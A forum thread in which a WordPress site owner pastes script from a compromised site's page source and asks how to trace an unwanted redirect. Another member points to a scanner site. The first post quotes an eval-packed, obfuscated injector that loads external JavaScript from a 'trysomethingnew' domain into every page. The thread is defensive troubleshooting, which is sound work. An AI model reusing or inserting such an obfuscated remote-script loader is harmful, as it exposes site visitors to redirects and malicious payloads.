LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 08-30-2017, 09:30 AM   #1
esteeven
Senior Member
 
Registered: Oct 2001
Location: Bristol UK
Distribution: Arch Slackware Ubuntu
Posts: 1,082

Rep: Reputation: 52
Redirect found on Wordpress site


I am trying to find and understand how a page redirect is happening on a Wordpress site. I have taken the site down and am working my way through it, trying to work out where the exploit is.

The redirect seems to go under the name of ẗrysomethingnew"and I have found reference to this in the page source file looked at through Firefox.

Code:
/style><script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 1=2.6(\'1\');1.5=\'4://3.8.9/d.3\';2.a(\'b\')[0].c(1);',14,14,'|script|document|js|https|src|createElement|var|trysomethingnew|eu|getElementsByTagName|head|appendChild|analytics'.split('|'),0,{}))</script><script type="text/javascript">(function() {function addEventListener(element,event,handler) { 	if(element.addEventListener) { 		element.addEventListener(event,handler, false); 	} else if(element.attachEvent){ 		element.attachEvent('on'+event,handler); 	} }function maybePrefixUrlField() { 	if(this.value.trim() !== '' && this.value.indexOf('http') !== 0) { 		this.value = "http://" + this.value; 	} }  var urlFields = document.querySelectorAll('.mc4wp-form input[type="url"]'); if( urlFields && urlFields.length > 0 ) { 	for( var j=0; j < urlFields.length; j++ ) { 		addEventListener(urlFields[j],'blur',maybePrefixUrlField); 	} }/* test if browser supports date fields */ var testInput = document.createElement('input'); testInput.setAttribute('type', 'date'); if( testInput.type !== 'date') {  	/* add placeholder & pattern to all date fields */ 	var dateFields = document.querySelectorAll('.mc4wp-form input[type="date"]'); 	for(var i=0; i<dateFields.length; i++) { 		if(!dateFields[i].placeholder) { 			dateFields[i].placeholder = 'YYYY-MM-DD'; 		} 		if(!dateFields[i].pattern) { 			dateFields[i].pattern = '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])'; 		} 	} }  })();</script>
Iḿ not sure if this is the offending script but it does contain the words ẗrysomethingnew." I have copied everthing between the <script> tags.

Where do I start when trying to find this? I can make head nor tail of it. Is there anything there to help identify where the script is?

The site is running on a clean install of Wordpress (fully updated) and the redirect is not happening now but the script is still there.

Any ideas?
Cheers.
 
Old 08-30-2017, 09:47 AM   #2
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
Quote:
Originally Posted by esteeven View Post
Is there anything there to help identify where the script is?
https://aw-snap.info/

What does "clean install" mean?
0 or few posts?

Import any wp_posts?

Last edited by Habitual; 08-30-2017 at 09:49 AM.
 
Old 08-30-2017, 09:56 AM   #3
esteeven
Senior Member
 
Registered: Oct 2001
Location: Bristol UK
Distribution: Arch Slackware Ubuntu
Posts: 1,082

Original Poster
Rep: Reputation: 52
Quote:
Originally Posted by Habitual View Post
https://aw-snap.info/

What does "clean install" mean?
0 or few posts?

Import any wp_posts?
Hello Habitual

The Wordpress install is fresh. There are many posts.

Great site link

edit
I have found the code. Thanks for the link Habitual. For future reference, the answer (I hope) is here:
https://productforums.google.com/for...rs/u5mYsV6gVdg

Thanks

Last edited by esteeven; 08-30-2017 at 10:39 AM. Reason: to report success and thanks to Habitual :)
 
Old 08-30-2017, 11:11 AM   #4
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
redleg's answer tells us plenty, except how it got "there".

Any ideas?
Newspaper theme.version current status is....?

Quote:
Originally Posted by esteeven View Post
I have found the code. Thanks for the link Habitual. For future reference, the answer (I hope) is here:
https://productforums.google.com/for...rs/u5mYsV6gVdg
Good Job.+1

Last edited by Habitual; 08-30-2017 at 01:25 PM. Reason: props for doing the legwork.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Help hosting Wordpress site in cloud Ryanms3030 Linux - Virtualization and Cloud 20 03-01-2014 08:18 PM
Upgrade & secure old wordpress site pingu Linux - Security 4 09-15-2013 09:24 PM
Can't export wordpress site harry_ord Programming 1 07-12-2013 03:27 PM
Publish Wordpress site in Suse Linux RLx86 Linux - Newbie 7 01-07-2010 03:19 AM
no email functionality on self-hosted wordpress site GTBlackwell Linux - Server 0 08-12-2009 09:02 AM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 12:32 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration